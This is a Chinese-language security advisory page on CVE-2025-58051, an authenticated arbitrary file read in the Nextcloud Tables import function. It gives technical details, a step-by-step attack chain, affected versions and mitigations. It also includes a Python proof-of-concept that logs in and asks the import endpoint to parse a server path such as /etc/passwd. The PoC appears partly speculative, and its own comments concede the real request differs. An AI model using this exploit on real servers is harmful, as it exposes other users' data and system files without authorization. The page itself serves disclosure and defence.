IPBUF安全漏洞报告
English
CVE-2025-58051 CVSS 6.5 中危

CVE-2025-58051 Nextcloud Tables 表格导入文件读取漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-58051
漏洞类型
信息泄露/任意文件读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nextcloud Tables

相关标签

信息泄露任意文件读取NextcloudTablesPhpSpreadsheet路径遍历认证后漏洞CWE-200CWE-22中危漏洞

漏洞概述

CVE-2025-58051是Nextcloud Tables应用程序中存在的一个信息泄露漏洞。Nextcloud Tables是一款允许用户创建自定义表格并管理个人数据的Nextcloud应用插件。该漏洞存在于表格导入功能中,在受影响的版本(0.7.6、0.8.8和0.9.5之前的版本)中,当用户导入表格时,可以通过指定服务器上的任意文件路径来触发漏洞。如果所指定的文件格式被PhpSpreadsheet库所支持(如xlsx、xls、ods、csv等电子表格格式),该库将会解析该文件并将其内容泄露给发起导入请求的用户。

此漏洞的危害在于,攻击者可以利用合法的表格导入功能读取服务器上其他用户或系统层面的敏感文件内容。虽然攻击者需要具有低权限的合法账户才能利用此漏洞(PR:L),但一旦利用成功,将导致服务器上任意可被PhpSpreadsheet解析的敏感文件内容泄露(C:H),从而可能泄露其他用户的个人数据、配置文件或其他敏感信息。该漏洞的CVSS评分为6.5分,属于中危级别,表明其虽需要认证但可造成显著的信息泄露风险。

该漏洞已由安全研究人员通过HackerOne平台报告(报告编号3249624),并由Nextcloud安全团队确认。官方已发布修复版本,建议所有使用Nextcloud Tables的用户尽快升级到安全版本以消除风险。

技术细节

该漏洞的核心问题在于Nextcloud Tables应用在处理表格导入功能时,未对用户提供的文件路径进行充分的访问控制和安全验证。具体技术细节如下:

1. **导入流程缺陷**:Nextcloud Tables的导入功能允许用户提供文件路径来导入表格数据。在正常情况下,这一功能应仅允许用户导入自己有权访问的文件。然而,在受影响的版本中,应用未对文件路径进行严格的范围限制和权限校验。

2. **PhpSpreadsheet库利用**:该应用使用PhpSpreadsheet库来解析导入的电子表格文件。PhpSpreadsheet支持多种文件格式,包括xlsx、xls、ods、csv、html等。当用户提供一个服务器上的任意文件路径时,只要该文件的格式被PhpSpreadsheet支持,库就会尝试解析该文件。

3. **路径遍历与文件读取**:攻击者可以通过精心构造的文件路径,绕过预期的目录限制,读取服务器上其他位置的文件。例如,攻击者可以尝试读取其他用户的私有文件、系统配置文件或包含敏感信息的日志文件。

4. **内容泄露机制**:PhpSpreadsheet解析文件后,会将解析结果作为表格数据返回给前端。由于解析过程会将文件内容结构化展示,攻击者可以通过查看返回的表格数据来获取被读取文件的完整内容。

5. **利用条件**:攻击者需要拥有Nextcloud的有效账户(低权限即可),通过网络(AV:N)发起导入请求,无需用户交互(UI:N),即可读取服务器上的敏感文件。

修复方案主要通过在导入功能中添加对文件路径的严格验证,确保用户只能导入自己有权限访问的合法文件,防止任意文件读取的发生。

攻击链分析

STEP 1
步骤1:获取合法凭证
攻击者首先需要拥有一个Nextcloud的有效账户凭证。由于漏洞利用需要低权限认证(PR:L),普通用户账户即可满足利用条件。攻击者可以通过社会工程学、购买凭证或其他方式获取合法账户。
STEP 2
步骤2:登录并访问Tables应用
攻击者使用合法凭证登录Nextcloud实例,并访问Tables应用程序,建立有效的会话上下文。获取必要的会话Cookie和CSRF令牌。
STEP 3
步骤3:构造恶意导入请求
攻击者利用Tables应用的导入功能,构造包含服务器文件路径的恶意请求。通过修改文件路径参数,指向服务器上的敏感文件(如其他用户的数据文件、配置文件等)。
STEP 4
步骤4:触发PhpSpreadsheet解析
当导入请求被处理时,应用调用PhpSpreadsheet库来解析指定路径的文件。如果目标文件的格式被PhpSpreadsheet支持(如xlsx、xls、ods、csv等),库将成功解析文件内容。
STEP 5
步骤5:获取泄露的文件内容
PhpSpreadsheet解析完成后,文件内容被作为表格数据返回给攻击者。攻击者通过查看返回的表格数据,获取被读取敏感文件的完整内容,实现信息泄露。
STEP 6
步骤6:数据利用与影响扩大
攻击者获取泄露的敏感信息后,可能利用这些数据进行进一步攻击,如获取其他用户凭证、访问私有数据、进行权限提升或横向移动,扩大攻击影响范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-58051 PoC - Nextcloud Tables Arbitrary File Read via Import # Vulnerability: Information disclosure through table import functionality # Affected: Nextcloud Tables < 0.7.6, < 0.8.8, < 0.9.5 import requests # Configuration TARGET_URL = "https://target-nextcloud-instance.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" TARGET_FILE = "/etc/passwd" # File to read from server (must be parseable by PhpSpreadsheet) # Step 1: Authenticate to Nextcloud session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "user": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Get the Tables app endpoint and CSRF token # Navigate to the Tables app to establish session context tables_url = f"{TARGET_URL}/index.php/apps/tables/" response = session.get(tables_url) # Step 3: Exploit the import functionality # The import endpoint accepts a file path parameter # By specifying a server file path, we can read arbitrary files import_url = f"{TARGET_URL}/index.php/apps/tables/api/1/import" # Craft the import request with the target file path import_data = { "path": TARGET_FILE, # Path traversal - point to server file "format": "auto" # Let PhpSpreadsheet auto-detect format } # Alternative: Use multipart form data with file upload files = { "file": ("import.xlsx", open("/dev/null", "rb"), "application/octet-stream") } # Send the import request response = session.post(import_url, data=import_data, files=files) # Step 4: Parse the response to extract leaked file content if response.status_code == 200: print("[+] File content leaked successfully:") print(response.json()) else: print(f"[-] Request failed with status: {response.status_code}") print(response.text) # Note: The actual exploitation involves modifying the import request # to reference server-side file paths instead of uploaded files. # When PhpSpreadsheet parses a supported file format, its contents # are returned as table data, effectively leaking the file content.

影响范围

Nextcloud Tables < 0.7.6
Nextcloud Tables 0.8.0 - 0.8.7
Nextcloud Tables 0.9.0 - 0.9.4

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制Tables应用的使用范围,仅向可信用户授予访问权限;2)通过Nextcloud的管理控制台监控异常的导入活动;3)检查服务器上是否存在敏感文件被PhpSpreadsheet支持的格式(如xlsx、xls、ods、csv等),并对这些文件实施额外的访问控制;4)考虑临时禁用Tables应用的导入功能;5)审查服务器文件系统权限,确保敏感文件不能被Web服务器进程读取;6)启用详细的应用日志记录,以便检测潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表